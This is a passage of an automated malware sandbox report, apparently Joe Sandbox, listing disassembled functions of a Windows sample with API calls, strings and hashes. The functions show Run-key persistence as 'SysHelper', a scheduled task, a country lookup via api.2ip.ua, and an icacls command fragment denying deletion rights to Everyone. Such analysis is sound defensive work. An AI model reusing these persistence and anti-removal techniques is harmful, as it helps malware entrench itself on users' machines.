                                                                                                                                                                                                                                                                • VariantClear.OLEAUT32(?), ref: 0040D3A4
                                                                                                                                                                                                                                                                • VariantClear.OLEAUT32(?), ref: 0040D3B1
                                                                                                                                                                                                                                                                • VariantClear.OLEAUT32(?), ref: 0040D3C2
                                                                                                                                                                                                                                                                • CoUninitialize.OLE32 ref: 0040D3D5
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
                                                                                                                                                                                                                                                                • String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
                                                                                                                                                                                                                                                                • API String ID: 2496729271-1738591096
                                                                                                                                                                                                                                                                • Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
                                                                                                                                                                                                                                                                • Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228networkfileCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 903 40cf10-40cfb0 call 42f7c0 call 42b420 InternetOpenW call 415c10 InternetOpenUrlW 910 40cfb2-40cfb4 903->910 911 40cfb9-40cffb InternetReadFile InternetCloseHandle * 2 call 4156d0 903->911 912 40d213-40d217 910->912 916 40d000-40d01d 911->916 914 40d224-40d236 912->914 915 40d219-40d221 call 422587 912->915 915->914 918 40d023-40d02c 916->918 919 40d01f-40d021 916->919 922 40d030-40d035 918->922 921 40d039-40d069 call 4156d0 call 414300 919->921 928 40d1cb 921->928 929 40d06f-40d08b call 413010 921->929 922->922 923 40d037 922->923 923->921 931 40d1cd-40d1d1 928->931 935 40d0b9-40d0bd 929->935 936 40d08d-40d091 929->936 933 40d1d3-40d1db call 422587 931->933 934 40d1de-40d1f4 931->934 933->934 938 40d201-40d20f 934->938 939 40d1f6-40d1fe call 422587 934->939 943 40d0cd-40d0e1 call 414300 935->943 944 40d0bf-40d0ca call 422587 935->944 940 40d093-40d09b call 422587 936->940 941 40d09e-40d0b4 call 413d40 936->941 938->912 939->938 940->941 941->935 943->928 954 40d0e7-40d149 call 413010 943->954 944->943 957 40d150-40d15a 954->957 958 40d160-40d162 957->958 959 40d15c-40d15e 957->959 961 40d165-40d16a 958->961 960 40d16e-40d18b call 40b650 959->960 965 40d19a-40d19e 960->965 966 40d18d-40d18f 960->966 961->961 962 40d16c 961->962 962->960 965->957 967 40d1a0 965->967 966->965 968 40d191-40d198 966->968 969 40d1a2-40d1a6 967->969 968->965 970 40d1c7-40d1c9 968->970 971 40d1b3-40d1c5 969->971 972 40d1a8-40d1b0 call 422587 969->972 970->969 971->931 972->971
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 0040CF4A
                                                                                                                                                                                                                                                                • InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
                                                                                                                                                                                                                                                                • InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
                                                                                                                                                                                                                                                                • InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
                                                                                                                                                                                                                                                                • InternetCloseHandle.WININET(00000000), ref: 0040CFDA
                                                                                                                                                                                                                                                                • InternetCloseHandle.WININET(00000000), ref: 0040CFDD
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                • "country_code":", xrefs: 0040CFE1
                                                                                                                                                                                                                                                                • Microsoft Internet Explorer, xrefs: 0040CF5A
                                                                                                                                                                                                                                                                • https://api.2ip.ua/geo.json, xrefs: 0040CF79
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Internet$CloseHandleOpen$FileRead_memset
                                                                                                                                                                                                                                                                • String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
                                                                                                                                                                                                                                                                • API String ID: 1485416377-2962370585
                                                                                                                                                                                                                                                                • Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
                                                                                                                                                                                                                                                                • Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382stringregistrylibraryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 606 411cd0-411d1a call 42f7c0 RegOpenKeyExW 609 411d20-411d8d call 42b420 RegQueryValueExW RegCloseKey 606->609 610 412207-412216 606->610 613 411d93-411d9c 609->613 614 411d8f-411d91 609->614 616 411da0-411da9 613->616 615 411daf-411dcb call 415c10 614->615 620 411dd1-411df8 lstrlenA call 413520 615->620 621 411e7c-411e87 615->621 616->616 617 411dab-411dad 616->617 617->615 629 411e28-411e2c 620->629 630 411dfa-411dfe 620->630 623 411e94-411f34 LoadLibraryW GetProcAddress GetCommandLineW CommandLineToArgvW lstrcpyW PathFindFileNameW UuidCreate UuidToStringW 621->623 624 411e89-411e91 call 422587 621->624 633 411f36-411f38 623->633 634 411f3a-411f3f 623->634 624->623 631 411e3c-411e50 PathFileExistsW 629->631 632 411e2e-411e39 call 422587 629->632 635 411e00-411e08 call 422587 630->635 636 411e0b-411e23 call 4145a0 630->636 631->621 641 411e52-411e57 631->641 632->631 639 411f4f-411f96 call 415c10 RpcStringFreeW PathAppendW CreateDirectoryW 633->639 640 411f40-411f49 634->640 635->636 636->629 653 411f98-411fa0 639->653 654 411fce-411fe9 639->654 640->640 644 411f4b-411f4d 640->644 645 411e59-411e5e 641->645 646 411e6a-411e6e 641->646 644->639 645->646 649 411e60-411e65 call 414690 645->649 646->610 651 411e74-411e77 646->651 649->646 655 4121ff-412204 call 422587 651->655 658 411fa2-411fa4 653->658 659 411fa6-411faf 653->659 656 411feb-411fed 654->656 657 411fef-411ff8 654->657 655->610 661 41200f-412076 call 415c10 PathAppendW DeleteFileW CopyFileW RegOpenKeyExW 656->661 662 412000-412009 657->662 663 411fbf-411fc9 call 415c10 658->663 665 411fb0-411fb9 659->665 671 4121d1-4121d5 661->671 672 41207c-412107 call 42b420 lstrcpyW lstrcatW * 2 lstrlenW RegSetValueExW RegCloseKey 661->672 662->662 667 41200b-41200d 662->667 663->654 665->665 669 411fbb-411fbd 665->669 667->661 669->663 673 4121e2-4121fa 671->673 674 4121d7-4121df call 422587 671->674 680 412115-4121a8 call 42b420 SetLastError lstrcpyW lstrcatW * 2 CreateProcessW 672->680 681 412109-412110 call 413260 672->681 673->610 677 4121fc 673->677 674->673 677->655 685 4121b2-4121b8 680->685 686 4121aa-4121b0 GetLastError 680->686 681->680 687 4121c0-4121cf WaitForSingleObject 685->687 686->671 687->671 687->687
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 00411D3B
                                                                                                                                                                                                                                                                • RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
                                                                                                                                                                                                                                                                • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
                                                                                                                                                                                                                                                                • lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
                                                                                                                                                                                                                                                                • PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
                                                                                                                                                                                                                                                                • LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
                                                                                                                                                                                                                                                                • GetCommandLineW.KERNEL32 ref: 00411EB4
                                                                                                                                                                                                                                                                • CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
                                                                                                                                                                                                                                                                • lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
                                                                                                                                                                                                                                                                • PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
                                                                                                                                                                                                                                                                • UuidCreate.RPCRT4(?), ref: 00411EFC
                                                                                                                                                                                                                                                                • UuidToStringW.RPCRT4(?,?), ref: 00411F14
                                                                                                                                                                                                                                                                • RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
                                                                                                                                                                                                                                                                • PathAppendW.SHLWAPI(?,?), ref: 00411F83
                                                                                                                                                                                                                                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
                                                                                                                                                                                                                                                                • PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
                                                                                                                                                                                                                                                                • DeleteFileW.KERNEL32(?), ref: 00412036
                                                                                                                                                                                                                                                                • CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
                                                                                                                                                                                                                                                                • RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 00412090
                                                                                                                                                                                                                                                                • lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
                                                                                                                                                                                                                                                                • lstrcatW.KERNEL32(?,?), ref: 004120C0
                                                                                                                                                                                                                                                                • lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
                                                                                                                                                                                                                                                                • lstrlenW.KERNEL32(?), ref: 004120D7
                                                                                                                                                                                                                                                                • RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
                                                                                                                                                                                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 004120FC
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 00412120
                                                                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000), ref: 00412146
                                                                                                                                                                                                                                                                • lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
                                                                                                                                                                                                                                                                • lstrcatW.KERNEL32(?,?), ref: 0041216D
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
                                                                                                                                                                                                                                                                • String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
                                                                                                                                                                                                                                                                • API String ID: 2589766509-1182136429
                                                                                                                                                                                                                                                                • Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
                                                                                                                                                                                                                                                                • Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116libraryloaderCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • GetCommandLineW.KERNEL32 ref: 00412235
                                                                                                                                                                                                                                                                • CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
                                                                                                                                                                                                                                                                • PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
                                                                                                                                                                                                                                                                • LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
                                                                                                                                                                                                                                                                • LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
                                                                                                                                                                                                                                                                • K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
                                                                                                                                                                                                                                                                • OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
                                                                                                                                                                                                                                                                • K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
                                                                                                                                                                                                                                                                • K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
                                                                                                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00412347
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
                                                                                                                                                                                                                                                                • String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
                                                                                                                                                                                                                                                                • API String ID: 3668891214-3807497772
                                                                                                                                                                                                                                                                • Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
                                                                                                                                                                                                                                                                • Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 975 423576-42358f 976 423591-42359b call 425208 call 4242d2 975->976 977 4235a9-4235be call 42b420 975->977 984 4235a0 976->984 977->976 983 4235c0-4235c3 977->983 985 4235d7-4235dd 983->985 986 4235c5 983->986 991 4235a2-4235a8 984->991 989 4235e9 call 42fb64 985->989 990 4235df 985->990 987 4235c7-4235c9 986->987 988 4235cb-4235d5 call 425208 986->988 987->985 987->988 988->984 996 4235ee-4235fa call 42f803 989->996 990->988 993 4235e1-4235e7 990->993 993->988 993->989 999 423600-42360c call 42f82d 996->999 1000 4237e5-4237ef call 4242fd 996->1000 999->1000 1005 423612-42361e call 42f857 999->1005 1005->1000 1008 423624-42362b 1005->1008 1009 42369b-4236a6 call 42f939 1008->1009 1010 42362d 1008->1010 1009->991 1016 4236ac-4236af 1009->1016 1012 423637-423653 call 42f939 1010->1012 1013 42362f-423635 1010->1013 1012->991 1020 423659-42365c 1012->1020 1013->1009 1013->1012 1018 4236b1-4236ba call 42fbb4 1016->1018 1019 4236de-4236eb 1016->1019 1018->1019 1028 4236bc-4236dc 1018->1028 1022 4236ed-4236fc call 4305a0 1019->1022 1023 423662-42366b call 42fbb4 1020->1023 1024 42379e-4237a0 1020->1024 1031 423709-423730 call 4304f0 call 4305a0 1022->1031 1032 4236fe-423706 1022->1032 1023->1024 1033 423671-423689 call 42f939 1023->1033 1024->991 1028->1022 1041 423732-42373b 1031->1041 1042 42373e-423765 call 4304f0 call 4305a0 1031->1042 1032->1031 1033->991 1039 42368f-423696 1033->1039 1039->1024 1041->1042 1047 423773-423782 call 4304f0 1042->1047 1048 423767-423770 1042->1048 1051 423784 1047->1051 1052 4237af-4237c8 1047->1052 1048->1047 1055 423786-423788 1051->1055 1056 42378a-423798 1051->1056 1053 4237ca-4237e3 1052->1053 1054 42379b 1052->1054 1053->1024 1054->1024 1055->1056 1057 4237a5-4237a7 1055->1057 1056->1054 1057->1024 1058 4237a9 1057->1058 1058->1052 1059 4237ab-4237ad 1058->1059 1059->1024 1059->1052
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 004235B1
                                                                                                                                                                                                                                                                  • Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208
                                                                                                                                                                                                                                                                • __gmtime64_s.LIBCMT ref: 0042364A
                                                                                                                                                                                                                                                                • __gmtime64_s.LIBCMT ref: 00423680
                                                                                                                                                                                                                                                                • __gmtime64_s.LIBCMT ref: 0042369D
                                                                                                                                                                                                                                                                • __allrem.LIBCMT ref: 004236F3
                                                                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
                                                                                                                                                                                                                                                                • __allrem.LIBCMT ref: 00423726
                                                                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
                                                                                                                                                                                                                                                                • __allrem.LIBCMT ref: 0042375B
                                                                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1503770280-0
                                                                                                                                                                                                                                                                • Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
                                                                                                                                                                                                                                                                • Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 1060 427b0b-427b1a call 427ad7 ExitProcess
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • ___crtCorExitProcess.LIBCMT ref: 00427B11
                                                                                                                                                                                                                                                                  • Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
                                                                                                                                                                                                                                                                  • Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8
                                                                                                                                                                                                                                                                • ExitProcess.KERNEL32 ref: 00427B1A
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: ExitProcess$AddressHandleModuleProc___crt
                                                                                                                                                                                                                                                                • String ID: i;B
                                                                                                                                                                                                                                                                • API String ID: 2427264223-472376889
                                                                                                                                                                                                                                                                • Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
                                                                                                                                                                                                                                                                • Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 1063 40ef50-40ef7a call 420c62 1066 40efdc-40efe2 1063->1066 1067 40ef7c 1063->1067 1068 40ef80-40ef85 call 420c62 1067->1068 1070 40ef8a-40efbd call 42b420 1068->1070 1073 40efc0-40efcf 1070->1073 1073->1073 1074 40efd1-40efda 1073->1074 1074->1066 1074->1068
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • _malloc.LIBCMT ref: 0040EF69
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007F0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5
                                                                                                                                                                                                                                                                • _malloc.LIBCMT ref: 0040EF85
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 0040EF9B
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _malloc$AllocateHeap_memset
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3655941445-0
                                                                                                                                                                                                                                                                • Opcode ID: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
                                                                                                                                                                                                                                                                • Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 1075 42fb64-42fb77 call 428520 1078 42fba5-42fbaa call 428565 1075->1078 1079 42fb79-42fb8c call 428af7 1075->1079 1084 42fb99-42fba0 call 42fbab 1079->1084 1085 42fb8e call 42fe47 1079->1085 1084->1078 1088 42fb93 1085->1088 1088->1084
                                                                                                                                                                                                                                                                APIs
